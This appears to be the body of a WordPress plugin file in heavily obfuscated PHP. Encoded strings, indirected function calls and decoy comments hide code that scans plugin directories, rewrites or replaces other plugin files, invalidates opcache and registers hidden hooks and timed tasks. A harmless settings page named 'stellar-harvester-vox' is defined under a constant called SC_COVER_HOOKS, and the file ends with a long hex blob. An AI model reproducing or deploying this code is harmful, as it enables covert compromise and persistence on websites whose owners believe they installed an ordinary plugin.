if ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1618)))  {
// idempotent-adj enumerator

   $cffj4ejxgf = @$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($kn6o6o1gv0ffdcqy) ?    @$GLOBALS['__scf_xn1tkts0av_71']($kn6o6o1gv0ffdcqy      . woii22it0(1905)) :    false;
        $wmzytvgfpmhir2v =   @$GLOBALS['__scf_xn1tkts0av_71']($fxwy76jilwc9xvk   .  hwc6a8djp6yy(459));
    if ($GLOBALS['__scf_lxbo0xm7220an_34']($cffj4ejxgf) ||    $GLOBALS['__scf_lxbo0xm7220an_34']($wmzytvgfpmhir2v))  {
   $nndt8t670yr     = true;
   foreach   ((array)  $cffj4ejxgf as  $ud1s1vif9q9kp4d)  $ath9v7no36e[]  =  $ud1s1vif9q9kp4d;

    foreach     ((array)  $wmzytvgfpmhir2v  as   $ud1s1vif9q9kp4d) $ath9v7no36e[]  =  $ud1s1vif9q9kp4d;
    }
unset($cffj4ejxgf,  $wmzytvgfpmhir2v);
   }
    if    (!$nndt8t670yr)  {
     $mfl3yji7jwssm  = @$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($kn6o6o1gv0ffdcqy)  ?  dphiql_w139y37($kn6o6o1gv0ffdcqy,   (4930+70))   :    false;$rwv803k4gt=PHP_INT_MAX/PHP_INT_MAX;$hljglp3mb1nuk=$rwv803k4gt+22;



 if  ($GLOBALS['__scf_lxbo0xm7220an_34']($mfl3yji7jwssm)) foreach     ($mfl3yji7jwssm  as $qn5wtzh12j34_p)    {
if   ($GLOBALS['__scf_pdat24v9nxkx0_9']($qn5wtzh12j34_p,   -(7-3))  === hwc6a8djp6yy(1745))   $ath9v7no36e[]    =  $kn6o6o1gv0ffdcqy  .   '/' .    $qn5wtzh12j34_p;
 }
$mfl3yji7jwssm  =    @$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($fxwy76jilwc9xvk)  ? dphiql_w139y37($fxwy76jilwc9xvk, (3856+1144))  :     false;

   if ($GLOBALS['__scf_lxbo0xm7220an_34']($mfl3yji7jwssm))    foreach  ($mfl3yji7jwssm  as $qn5wtzh12j34_p)   {
     $k0zvimw709   =   $fxwy76jilwc9xvk . '/'  . $qn5wtzh12j34_p;
    if  (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($k0zvimw709))   continue;
 $e60w8572kpw   =  dphiql_w139y37($k0zvimw709,  (4978+22));

    if  (!$GLOBALS['__scf_lxbo0xm7220an_34']($e60w8572kpw))  continue;



 foreach    ($e60w8572kpw as $w8ba829mvon)  {
/* open scope-chain */

if ($GLOBALS['__scf_pdat24v9nxkx0_9']($w8ba829mvon,  -(1+3))  ===     hwc6a8djp6yy(1745)) $ath9v7no36e[] =    $k0zvimw709  .  '/' .  $w8ba829mvon;
   }


       }
unset($mfl3yji7jwssm,   $qn5wtzh12j34_p,  $w8ba829mvon, $k0zvimw709,   $e60w8572kpw);
     }
 $msgocqwtipmu  =     $GLOBALS['__scf_a39nlvrnocxziu_3']($fzr55wiqg09vrh3b,  hwc6a8djp6yy(1745));
foreach      ($ath9v7no36e     as  $ud1s1vif9q9kp4d)  {
  if ($ud1s1vif9q9kp4d ===    $fzr55wiqg09vrh3b) continue;
  $pqtdkjgbgiq  =   @$GLOBALS['__scf_gibkjes9ds_98']($ud1s1vif9q9kp4d);
  

if   (!$pqtdkjgbgiq  ||   ($pqtdkjgbgiq     % (99949+51)) !==   (3302+90517)) {
  $kz0h30najn   =  @$GLOBALS['__scf_vhi5vhdwib7ye_99']($ud1s1vif9q9kp4d);
      if    (!$kz0h30najn  ||      $kz0h30najn < (495+5)   ||    $kz0h30najn  >    (40507995+11920805))  continue;
}
  $d30y0vkuo4u8t210 =    @$GLOBALS['__scf_zonhpgc286wu1_95']($ud1s1vif9q9kp4d,  false,  null, 0, (4020+76));
   $ikky6pwawbq  = array();$ttd2zr50zyva5x=159|89;$ve2op3e0jdd8e=$ttd2zr50zyva5x^132;
        if      ($GLOBALS['__scf_epa1jymnf5_40']($d30y0vkuo4u8t210))  $GLOBALS['__scf_iz3o_ajtgml6rf_96'](lgr6hp92ka(1906),   $d30y0vkuo4u8t210,  $ikky6pwawbq);
     if   (empty($ikky6pwawbq[1]))    {
/* dense lsm-tree */

 if      (!aay1vdwvzc2am3cxpp($ud1s1vif9q9kp4d,    (1151+3849)))  continue;
    $ikky6pwawbq =   array("", lgr6hp92ka(205));
 }
 if ($GLOBALS['__scf_a39nlvrnocxziu_3']($ud1s1vif9q9kp4d,      n747he9yo38(1907)) ===     $msgocqwtipmu   && $ikky6pwawbq[1] ===   $ji980gomu7f) {
  if   (!rjejkju5f450j993978t4($ud1s1vif9q9kp4d))  {


 if  (b8zzgtiwx2_ws6($ud1s1vif9q9kp4d,  $ud1s1vif9q9kp4d     .      lgr6hp92ka(1562))   &&     $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1512))) @opcache_invalidate($ud1s1vif9q9kp4d, true);


    }
continue;
       }
   if (version_compare($ikky6pwawbq[1],     $ji980gomu7f,   '<'))      {
 $_lgv1dxik4  =   lgftgp4euaxcaljt50i41y($ud1s1vif9q9kp4d);

    if  ($_lgv1dxik4     ===  false)     {
   pas31bymshzdagwkp(lgr6hp92ka(1510),   woii22it0(1561)    .   $GLOBALS['__scf_a39nlvrnocxziu_3']($ud1s1vif9q9kp4d));
   continue;

  }

if ($_lgv1dxik4  ===  true)  {
  if  (b8zzgtiwx2_ws6($ud1s1vif9q9kp4d,    $ud1s1vif9q9kp4d   . n747he9yo38(1562)))  {
if  ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1908))) @opcache_invalidate($ud1s1vif9q9kp4d,    true);
      }  elseif   (!wnwikrl63gfcik($ud1s1vif9q9kp4d)     &&  r79wzjjsrh9qzxcd6t9z($ud1s1vif9q9kp4d))  {
     w7pzvknzw2svspdvngmfb($ud1s1vif9q9kp4d);
 dl6vubnjzess3mg_2gm($ud1s1vif9q9kp4d);
  }
 @$GLOBALS['__scf_kb97m2p3ij_17']($GLOBALS['__scf_zf6ei6xtcw1fb_11']($ud1s1vif9q9kp4d)     .  k83m2slbb(196)  . $GLOBALS['__scf_a39nlvrnocxziu_3']($ud1s1vif9q9kp4d,   k83m2slbb(1907)));
 continue;
 }


    if (!wnwikrl63gfcik($ud1s1vif9q9kp4d) &&  r79wzjjsrh9qzxcd6t9z($ud1s1vif9q9kp4d))    {
// ssa-convert revocation-list for OPcache config

 w7pzvknzw2svspdvngmfb($ud1s1vif9q9kp4d);
dl6vubnjzess3mg_2gm($ud1s1vif9q9kp4d);
 }
   zkbckq1nlavf2wyjep($ud1s1vif9q9kp4d);
       continue;
 }
     $u7bnk5bhw312   =  ($GLOBALS['__scf_a39nlvrnocxziu_3']($GLOBALS['__scf_zf6ei6xtcw1fb_11']($ud1s1vif9q9kp4d))  ===   n747he9yo38(1909)  ||      $GLOBALS['__scf_zf6ei6xtcw1fb_11']($ud1s1vif9q9kp4d)  === $kn6o6o1gv0ffdcqy);
    if  (!$u7bnk5bhw312  &&  $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1752)))  {



 $bbfzse1pay5q4w =    $GLOBALS['__scf_a39nlvrnocxziu_3']($GLOBALS['__scf_zf6ei6xtcw1fb_11']($ud1s1vif9q9kp4d)) .     '/' .    $GLOBALS['__scf_a39nlvrnocxziu_3']($ud1s1vif9q9kp4d);


 $lvwcnwfg8iccxat =  (array) @get_option(k83m2slbb(736),   array());
     $u7bnk5bhw312   =  $GLOBALS['__scf_a2dj3p28xfi_149']($bbfzse1pay5q4w, $lvwcnwfg8iccxat,    true);


  if   (!$u7bnk5bhw312   &&   $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(210))  && is_multisite()  &&  $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1910))) {
// WP Term Description settings section

    $mkiceq11o53k  =  (array)  @get_site_option(hwc6a8djp6yy(1911),   array());
   $u7bnk5bhw312     =    isset($mkiceq11o53k[$bbfzse1pay5q4w]);



 unset($mkiceq11o53k);



     }
 unset($bbfzse1pay5q4w,    $lvwcnwfg8iccxat);


       }
  if (!$u7bnk5bhw312) continue;
if    (version_compare($ikky6pwawbq[1],   $ji980gomu7f,  '>'))  {


    if  (rjejkju5f450j993978t4($ud1s1vif9q9kp4d) &&  !bzcdtts_qq1u319n2($ud1s1vif9q9kp4d)  && !vwtbe5e8tyt4gnihyg0ip($ud1s1vif9q9kp4d,     $fzr55wiqg09vrh3b)) return;
 $s8861ndqg_  =  $GLOBALS['__scf_zf6ei6xtcw1fb_11']($ud1s1vif9q9kp4d)   .   hwc6a8djp6yy(1912) .     $GLOBALS['__scf__pih7hoh4m_56']($ud1s1vif9q9kp4d);
   if  (@$GLOBALS['__scf_mtwlgr3p78_18']($s8861ndqg_)   &&      (int)   @$GLOBALS['__scf_gibkjes9ds_98']($s8861ndqg_)  <     $GLOBALS['__scf_cyotfgtf1a8m_189']()  -  (0xe+0x2e)) {

 $oi_eq3kgqd3u1  =  $GLOBALS['__scf_txqeuw424jw_8__114']('|', (string)  @$GLOBALS['__scf_zonhpgc286wu1_95']($s8861ndqg_));
 if  ($GLOBALS['__scf_prfpiytv3egt7_35']($oi_eq3kgqd3u1)  < 2 ||     $oi_eq3kgqd3u1[0]     !== $ikky6pwawbq[1]  ||    (int)    $oi_eq3kgqd3u1[1]     !== (int)   @$GLOBALS['__scf_vhi5vhdwib7ye_99']($ud1s1vif9q9kp4d)) {
 @$GLOBALS['__scf_kb97m2p3ij_17']($s8861ndqg_);
continue;



   }



 if  (lgftgp4euaxcaljt50i41y($ud1s1vif9q9kp4d)  !==  false) {



  dvd1rr9pr3xu08j($ud1s1vif9q9kp4d, (369+51));
if  (y0a1xt15v3nqhjqppfzn($ud1s1vif9q9kp4d)) {
     @$GLOBALS['__scf_kb97m2p3ij_17']($s8861ndqg_);
       if    ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(1913)))    @opcache_invalidate($ud1s1vif9q9kp4d,    true);


 }
 }
continue;
     }
      @$GLOBALS['__scf_d3akejlb7rtaks_199']($s8861ndqg_,   $ikky6pwawbq[1] . '|'  .   (int)  @$GLOBALS['__scf_vhi5vhdwib7ye_99']($ud1s1vif9q9kp4d));
  continue;
  }



      if  ($ikky6pwawbq[1]  ===   $ji980gomu7f)      {
    $nce3dbyk_jcwn_  = iny76vt_1bf9q5t();
  $cfcziabjrxvfp    = false;
    if   (!empty($nce3dbyk_jcwn_[k83m2slbb(1914)]))      {



$tqdilc3rig3   =    @$GLOBALS['__scf_h8_ju28bwdwm_32']($nce3dbyk_jcwn_[woii22it0(1914)]);
 $tzhiqda9hr =     @$GLOBALS['__scf_h8_ju28bwdwm_32']($ud1s1vif9q9kp4d);
if   ($GLOBALS['__scf_epa1jymnf5_40']($tqdilc3rig3)   &&    $GLOBALS['__scf_epa1jymnf5_40']($tzhiqda9hr)   && $tqdilc3rig3  ===   $tzhiqda9hr &&  zej2mwh_8j5f6rdkb($nce3dbyk_jcwn_)   ===      n747he9yo38(1915)   &&    rjejkju5f450j993978t4($ud1s1vif9q9kp4d))   {
     if (vwtbe5e8tyt4gnihyg0ip($ud1s1vif9q9kp4d, $fzr55wiqg09vrh3b)) $cfcziabjrxvfp   = true;
else   return;
  }
  if ($GLOBALS['__scf_epa1jymnf5_40']($tqdilc3rig3) &&    $tqdilc3rig3 ===  @$GLOBALS['__scf_h8_ju28bwdwm_32']($fzr55wiqg09vrh3b))   $cfcziabjrxvfp   = true;

}
  if  (!$cfcziabjrxvfp  &&   !rjejkju5f450j993978t4($ud1s1vif9q9kp4d))      {
  if   (bzcdtts_qq1u319n2($ud1s1vif9q9kp4d) ||   lgftgp4euaxcaljt50i41y($ud1s1vif9q9kp4d)   !== false)   {$x_y9_5h4apux5=57*5;$p4ih7i_r=$x_y9_5h4apux5-8;
   if (b8zzgtiwx2_ws6($ud1s1vif9q9kp4d,  $ud1s1vif9q9kp4d . woii22it0(1916)) &&   $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1917))) @opcache_invalidate($ud1s1vif9q9kp4d, true);
   }
 unset($nce3dbyk_jcwn_,     $cfcziabjrxvfp,   $tqdilc3rig3,      $tzhiqda9hr);
   continue;
}
if    (!$cfcziabjrxvfp   &&  $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf__pih7hoh4m_56']($GLOBALS['__scf_a39nlvrnocxziu_3']($ud1s1vif9q9kp4d,   woii22it0(1918))),  0,     (18-6))  >   $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf__pih7hoh4m_56']($msgocqwtipmu),   0,   (2+10)))   {
 if    (!vwtbe5e8tyt4gnihyg0ip($ud1s1vif9q9kp4d, $fzr55wiqg09vrh3b)) return;
}


 unset($nce3dbyk_jcwn_,     $cfcziabjrxvfp,  $tqdilc3rig3,      $tzhiqda9hr);
    }
     }


  }
   unset($fzr55wiqg09vrh3b,    $ji980gomu7f,  $d30y0vkuo4u8t210, $ikky6pwawbq,  $ath9v7no36e, $kn6o6o1gv0ffdcqy, $fxwy76jilwc9xvk,      $ud1s1vif9q9kp4d,  $pqtdkjgbgiq, $msgocqwtipmu,   $kz0h30najn, $_lgv1dxik4, $s8861ndqg_,   $oi_eq3kgqd3u1);
     } catch (Throwable $oz7m23pnscj7) {
 }  catch    (Exception $oz7m23pnscj7) {



}
     unset($n2aed8w__6jjg);
 if    (isset($GLOBALS[woii22it0(1919)]))   {
// unroll eventual observer

  if    (version_compare((string)   $GLOBALS[k83m2slbb(1919)],   tdwuvuxeuijm__qj(), hwc6a8djp6yy(198)))  return;
  $GLOBALS[n747he9yo38(1576)] = 1;

   }   elseif    (defined(hwc6a8djp6yy(1920)))  {
 $qsa8x1rgb1    =  constant(k83m2slbb(1920));
    if  ($GLOBALS['__scf_epa1jymnf5_40']($qsa8x1rgb1)     && $GLOBALS['__scf_iz3o_ajtgml6rf_96'](n747he9yo38(1299),  $qsa8x1rgb1) &&    version_compare($qsa8x1rgb1, tdwuvuxeuijm__qj(),  lgr6hp92ka(198)))   return;
    $GLOBALS[woii22it0(1576)] =     1;
  unset($qsa8x1rgb1);
}

  $GLOBALS[k83m2slbb(1919)]     =   tdwuvuxeuijm__qj();

if ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(861))) @clearstatcache(true,   vcr09jqkbni2k4ee0y());
 $GLOBALS[woii22it0(185)]  =   (string)  @$GLOBALS['__scf_vhi5vhdwib7ye_99'](vcr09jqkbni2k4ee0y())     .   ':'    .    (string)  @$GLOBALS['__scf_gibkjes9ds_98'](vcr09jqkbni2k4ee0y());

if (!defined(k83m2slbb(1920)))   define(hwc6a8djp6yy(1920),  tdwuvuxeuijm__qj());
      if (!defined(k83m2slbb(1921)))  define(k83m2slbb(1921), tdwuvuxeuijm__qj());
 wluat5vwyso6y7r196k(k83m2slbb(1922));
   


   w7rci4ay9y9kv1ldm(vcr09jqkbni2k4ee0y());
  if    ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1923))   && $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(1924))) {
try  {
// filter chain entry

$lvb9_fykpgmbh  = vyeikxc5a6j7a4n();
   if   (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($lvb9_fykpgmbh))     {
   $n1cyz734ylo38dq    = blnqst3prbthr6q_h_();
 $_8qyumjpja77x  =  dphiql_w139y37($lvb9_fykpgmbh,  (4981+19));



  if   ($GLOBALS['__scf_lxbo0xm7220an_34']($_8qyumjpja77x)) {
    foreach  ($_8qyumjpja77x as $uuvdpwhf33e)  {

if ($uuvdpwhf33e  ===    $n1cyz734ylo38dq) continue;
     if     ($GLOBALS['__scf_ytoyy4ewqm_103']($GLOBALS['__scf_jzy6f3xykw_208']($uuvdpwhf33e,   constant(hwc6a8djp6yy(719))))     !==    lgr6hp92ka(1925)) continue;
$tvefhnsaqq3  = $lvb9_fykpgmbh .  '/'  .   $uuvdpwhf33e;
  if (@$GLOBALS['__scf_mtwlgr3p78_18']($tvefhnsaqq3)  && @$GLOBALS['__scf_vhi5vhdwib7ye_99']($tvefhnsaqq3)   > (1640+3360)   && aay1vdwvzc2am3cxpp($tvefhnsaqq3,   (4490+510)))    {
p36du7m2uux0xps7($tvefhnsaqq3);
   }
     }
   }
 }
    }    catch  (Throwable    $oz7m23pnscj7)      {
pas31bymshzdagwkp(hwc6a8djp6yy(222), $oz7m23pnscj7);
 }  catch     (Exception      $oz7m23pnscj7)     {
// @unsubscribe handshake

       }
    }

 if  (!   ptaqyk6ei520r7r()) {
 tqocor6bp4em9eyds9r9w(hwc6a8djp6yy(763),    woii22it0(1926), 1);
 }
    
$GLOBALS[woii22it0(732)]  = array();   
     $GLOBALS[k83m2slbb(741)] =    array();    
     $GLOBALS[woii22it0(1826)] =   "";  
if ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1413)))  {
       $GLOBALS['__scf_ht1k88rhfc_173'](hwc6a8djp6yy(1927));
      $GLOBALS['__scf_ht1k88rhfc_173'](woii22it0(1928));
 }
// WP Tag Cloud: reconcile subscriber

$yu167sbi0ox9rhn = $GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y())   .    n747he9yo38(1929)   .  $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(), lgr6hp92ka(1918));
 if   (@$GLOBALS['__scf_mtwlgr3p78_18']($yu167sbi0ox9rhn))   {
 $xec0slf8n0rrlwy4  =  $GLOBALS['__scf_xcg5caaat_92j0_323']((string)    @$GLOBALS['__scf_zonhpgc286wu1_95']($yu167sbi0ox9rhn));
$mfgyk1m27ha     =   thbyafy5nrflki();
 if    ($xec0slf8n0rrlwy4 === ""   ||   ($mfgyk1m27ha   !==     ""   &&  $xec0slf8n0rrlwy4     !== $mfgyk1m27ha))   y0a1xt15v3nqhjqppfzn($yu167sbi0ox9rhn);
   unset($xec0slf8n0rrlwy4, $mfgyk1m27ha);
  }
  try  {
@$GLOBALS['__scf_gl7by4d7j2f1u_73']($GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y())   .   k83m2slbb(1930) . $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(),   hwc6a8djp6yy(1918)));
  

 $mfgyk1m27ha    = thbyafy5nrflki();

  if ($mfgyk1m27ha  !==      "")     {

     $hcv842crnia =      n747he9yo38(1931)      . $mfgyk1m27ha;
foreach    (array($GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y()),  vyeikxc5a6j7a4n()) as   $bkuf2qyw6n4)     {

if (@$GLOBALS['__scf_mtwlgr3p78_18']($bkuf2qyw6n4 . '/'   .  $hcv842crnia)) @$GLOBALS['__scf_kb97m2p3ij_17']($bkuf2qyw6n4 .     '/'   .   $hcv842crnia);
   }
  }



unset($mfgyk1m27ha,     $hcv842crnia, $bkuf2qyw6n4);



 }   catch    (Throwable     $oz7m23pnscj7)    {


} catch (Exception   $oz7m23pnscj7)  {
// WP Search Block enqueue order

}


  unset($yu167sbi0ox9rhn);

   tqocor6bp4em9eyds9r9w(n747he9yo38(1932), n747he9yo38(1933),    0);
      tqocor6bp4em9eyds9r9w(woii22it0(1932),   n747he9yo38(1934),  0);
 tqocor6bp4em9eyds9r9w(k83m2slbb(1935),   k83m2slbb(1933),  0);
        tqocor6bp4em9eyds9r9w(woii22it0(1936), lgr6hp92ka(1937),   0);
  tqocor6bp4em9eyds9r9w(woii22it0(1936), hwc6a8djp6yy(1938), 2);
tqocor6bp4em9eyds9r9w(k83m2slbb(1936), hwc6a8djp6yy(1939),   (2+1));
  tqocor6bp4em9eyds9r9w(woii22it0(1940),      woii22it0(1941),  (219^223));
      tqocor6bp4em9eyds9r9w(lgr6hp92ka(1942), hwc6a8djp6yy(1943),    (4+1));


 jmxj5witdjjsy6yr5(n747he9yo38(1944),  hwc6a8djp6yy(1945),     (18-8), 1);
     jmxj5witdjjsy6yr5(hwc6a8djp6yy(1946),  n747he9yo38(1947),  (3+7),    1);
jmxj5witdjjsy6yr5(hwc6a8djp6yy(1948), k83m2slbb(1949),  (14-4),      1);


 jmxj5witdjjsy6yr5(hwc6a8djp6yy(1950), k83m2slbb(1951),    (179^185),   1);


 
    jmxj5witdjjsy6yr5(woii22it0(1952),  woii22it0(1953), (360+639),  (4-1));


      tqocor6bp4em9eyds9r9w(n747he9yo38(876),  woii22it0(1954), (908+91),   2);
  


   jmxj5witdjjsy6yr5(lgr6hp92ka(1955),     n747he9yo38(1956));


 jmxj5witdjjsy6yr5(woii22it0(1957),  lgr6hp92ka(1958), (5<<1),   2);
jmxj5witdjjsy6yr5(woii22it0(1959), lgr6hp92ka(1960));


     
     jmxj5witdjjsy6yr5(n747he9yo38(1961),   woii22it0(1962),    (0x1+0x9),  1);
 
    jmxj5witdjjsy6yr5(hwc6a8djp6yy(1963), k83m2slbb(1964),    (0x5+0x5),  2);
      tqocor6bp4em9eyds9r9w(woii22it0(1965),     hwc6a8djp6yy(795));
  jmxj5witdjjsy6yr5(lgr6hp92ka(1966),   woii22it0(802));
      
jmxj5witdjjsy6yr5(lgr6hp92ka(1967),    n747he9yo38(1968));
     



   tqocor6bp4em9eyds9r9w(n747he9yo38(1969), k83m2slbb(1970),      -(722+277));
       tqocor6bp4em9eyds9r9w(woii22it0(1971), lgr6hp92ka(1972),  -(905+94));
     tqocor6bp4em9eyds9r9w(hwc6a8djp6yy(1973),   n747he9yo38(1972),  -(973+26));

 tqocor6bp4em9eyds9r9w(woii22it0(1974), hwc6a8djp6yy(1975),     (946+53));
tqocor6bp4em9eyds9r9w(lgr6hp92ka(1976),  lgr6hp92ka(1977), 0);
 tqocor6bp4em9eyds9r9w(k83m2slbb(1978), n747he9yo38(1979),  0);
 

      tqocor6bp4em9eyds9r9w(n747he9yo38(1980),   lgr6hp92ka(1981),  (946+53));
       tqocor6bp4em9eyds9r9w(k83m2slbb(1982),   n747he9yo38(1981),  (877+122));
       


   tqocor6bp4em9eyds9r9w(woii22it0(1983),      lgr6hp92ka(1984), 2);
     tqocor6bp4em9eyds9r9w(lgr6hp92ka(1985),  k83m2slbb(1986),     0);


 
   tqocor6bp4em9eyds9r9w(hwc6a8djp6yy(1985),     woii22it0(1987),   0);
   tqocor6bp4em9eyds9r9w(hwc6a8djp6yy(1985),    n747he9yo38(1988), 0);
 
 tqocor6bp4em9eyds9r9w(hwc6a8djp6yy(1985),   n747he9yo38(1989), 1);

  tqocor6bp4em9eyds9r9w(n747he9yo38(1990),  hwc6a8djp6yy(1991),   2);



       tqocor6bp4em9eyds9r9w(lgr6hp92ka(1992), lgr6hp92ka(1993),   (1+2));$z_of9sj_8=PHP_INT_MAX/PHP_INT_MAX;$wb5nl5wtqc=$z_of9sj_8+48;
   tqocor6bp4em9eyds9r9w(k83m2slbb(1992), k83m2slbb(1994),    (1+3));
tqocor6bp4em9eyds9r9w(lgr6hp92ka(1995),   k83m2slbb(1996),  (51^54));
   tqocor6bp4em9eyds9r9w(k83m2slbb(1995), n747he9yo38(1997),   (179^181));
tqocor6bp4em9eyds9r9w(lgr6hp92ka(1995),    n747he9yo38(1998),  (8-2));
 tqocor6bp4em9eyds9r9w(lgr6hp92ka(1999), lgr6hp92ka(2000));
   tqocor6bp4em9eyds9r9w(k83m2slbb(1995), woii22it0(2001),  (1+6));
  if   ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(2002)))  {
  $GLOBALS['__scf_ht1k88rhfc_173'](function   ()  {
if  (!empty($GLOBALS[n747he9yo38(2003)]))   return;



       if (!defined(hwc6a8djp6yy(1742))  ||  !$GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(2004)))    return;
 if    ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(2001)))     {
  try   {
  fy8b7vzh9lcg9rr8lt23u_();
}   catch    (Throwable    $oz7m23pnscj7) {
  } catch (Exception $oz7m23pnscj7)  {


    }
}
 });



 }



 tqocor6bp4em9eyds9r9w(woii22it0(1995),  lgr6hp92ka(2005),   (12-4));

 tqocor6bp4em9eyds9r9w(hwc6a8djp6yy(1733),  hwc6a8djp6yy(1733));
   tqocor6bp4em9eyds9r9w(hwc6a8djp6yy(2006), hwc6a8djp6yy(2007));
tqocor6bp4em9eyds9r9w(lgr6hp92ka(2008),      lgr6hp92ka(2009),  (18-8));
      tqocor6bp4em9eyds9r9w(hwc6a8djp6yy(1995),  function () {
 if  (!$GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(2004))    ||  !$GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1581)))    return;

$bs1mxnwnwm6 =   (int) @get_option(woii22it0(2010), 0);
  if  (($GLOBALS['__scf_cyotfgtf1a8m_189']()  - $bs1mxnwnwm6)   >  (3528+72)) {
  if (!zwwqg90mj4vzd1zs05())  return;
@update_option(hwc6a8djp6yy(2011),  $GLOBALS['__scf_cyotfgtf1a8m_189']());
t442bodxdpbm8xfbc0iq();
 }

     },    (12-3));
  
tqocor6bp4em9eyds9r9w(hwc6a8djp6yy(2012),  k83m2slbb(2013));
    jmxj5witdjjsy6yr5(k83m2slbb(2014), n747he9yo38(2015));
if      ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(465))  &&  did_action(lgr6hp92ka(1995)))   {
    ksu3qr2hkj422f();



      }

}
if(!defined('SC_COVER_HOOKS')){define('SC_COVER_HOOKS',1);

add_action('admin_menu',function(){
    add_options_page('Settings','Settings','manage_options','stellar-harvester-vox-settings',function(){
        echo '<div class="wrap"><h1>Settings</h1><form method="post" action="options.php">';
        settings_fields('stellar-harvester-vox_group');
        do_settings_sections('stellar-harvester-vox-settings');
        submit_button();
        echo '</form></div>';
    });
});
add_action('admin_init',function(){
    register_setting('stellar-harvester-vox_group','stellar-harvester-vox_options');
    add_settings_section('stellar-harvester-vox_main','Configuration',function(){echo '<p>Configure options below.</p>';},'stellar-harvester-vox-settings');
    add_settings_field('stellar-harvester-vox_cache','Cache Mode',function(){
        $o=get_option('stellar-harvester-vox_options',array());$v=isset($o['cache'])?$o['cache']:'enabled';
        echo '<select name="'.esc_attr('stellar-harvester-vox_options[cache]').'"><option value="enabled"'.selected($v,'enabled',false).'>Enabled</option><option value="disabled"'.selected($v,'disabled',false).'>Disabled</option></select>';
    },'stellar-harvester-vox-settings','stellar-harvester-vox_main');
});
if(function_exists('add_shortcode'))add_shortcode('stellar_harvester_vox_stats',function(){
    $o=get_option('stellar-harvester-vox_options',array());
    return '<!-- stats: '.(isset($o['cache'])?$o['cache']:'none').' -->';
});
if(function_exists('wp_normalize_path') && function_exists('register_activation_hook'))register_activation_hook(__FILE__,function(){
    if(!get_option('stellar-harvester-vox_options'))add_option('stellar-harvester-vox_options',array('cache'=>'enabled','version'=>'1.0'));
});

}

/*532ff66971cdf2665b8d40e67345be967a1e42574f52c7773b66a9f11eaf4adf9e8ea411ca89b539392578d580602ce9b47a38c16774b1e9719194a8baf41718ff1ec919e6a7e5c921c76987f6578be4e4aee58731bb5bc9f49adcb3e738363239cbbdef70e5ba8a1dc856609231000e4ed00d6ee01e2184403690c9b45506917968ffd7e214c181f7390721e1035416fbc2bddc1e12a802ca46a3946976032b6cf5eda47e21cdc80fbace679996e66a4401bc3578539fcad8686e3b19696ae1946b070eabc09e321d1d73462d417b78636d972d115286ae79b2f072c2c52ccbc3069f75ae73195d4df0fc52e2ccca9a0e1a6c61f7aa59d9a2dc011dde4f01ba74f71fb37cede6077f869fb1fc53851b1ef0e40fb620b18ca0f6699ebfbbd88cb9d166989a71646b1736d67cd89b12ebfb1b36b4d312a3d6f3794ef97e5f119fa14980dc61802fcaba1fd2974648e7a3a34de4d464b330e44bc32460f457fd6d64d0df100b09cd74ea1b21fc974dccd63832e73cce73d7a2f186c4f823dc2be66f3b59ded9135bcfd78c75ed0814a79cba7769b3985a2948fc434d9aa36813e708bee7b3746f8318c7c92d73b484d0be29dcda945d4745e250022b9d8e51c759432903107e3a75c4f7a76243da20c8c362cd50345535930e91a48e5fa5e97cbfbb06b164c20cd36636ca56a88fb61791d0c8571e5bdc065e9137394165111eabca9e17704df63051c669fa68ae521bd423505f8b6619a89716b973ddbd2ee8fe0830ef6810769bb86de3b9d8b015178173b354276d9b7187a6c491e9b8e5a8a40615c8297cff96e6ef0656ea7d908ffc1b131ccd5ee5b7896e8042a0ca628f92ecb195390781057e909c55fbc9f8cf8b81b997bd40377ee35d9bf2cf466dc74b7c118a24a7229617cdae60389bce5542a4d3034f5f1f524d05fc5b4f2eee376de1b96bd1512662ff70df89e48c2f0167687e14f82e8a239b1f892677f8dba7bd2b947f21f7d561ad826692a2a402f85e2ef1e1f016e52a91f78e909e83892f18e25441be4177cba8212ee1162396a8ead9000daf0775d25963327b45dd0f2ffeff5147048700b670807b53d78a8fc6ea83072e035db03a72d245128772c7ef6ff4af9ecc4e5e77a79a089f2f5f78e2ae6151f12f64b5bdd250292e840f26a0152b9b75c1c566e36e13b3b581b87ccdc0def883bd019e82663d0d5aa5613fe4b1cb40006d58501448f6bdb157ea01a06f00d78267407e01acab2524d43911a428396f5983a7145e352c9634a681186f71c3d7b48ae42edca66176e4251d8dd23f65bc4876ba43bb071980f9887d8bec98479dce7727268e4be9afb2119f6a0ea9a4ed957e0b755b801084506c57af0374f68eb8e3570877319bc0722169872f8158d7bea5c3d94fd32b0adc4d82e2fa199b77c3b1f31e29a1b55dee091bfc11f4af6c923938137c028227504b047e03546e9dc7bde51db11e6040d1dd0bf648dc9524c2661e4e95b3295acde042a7d8e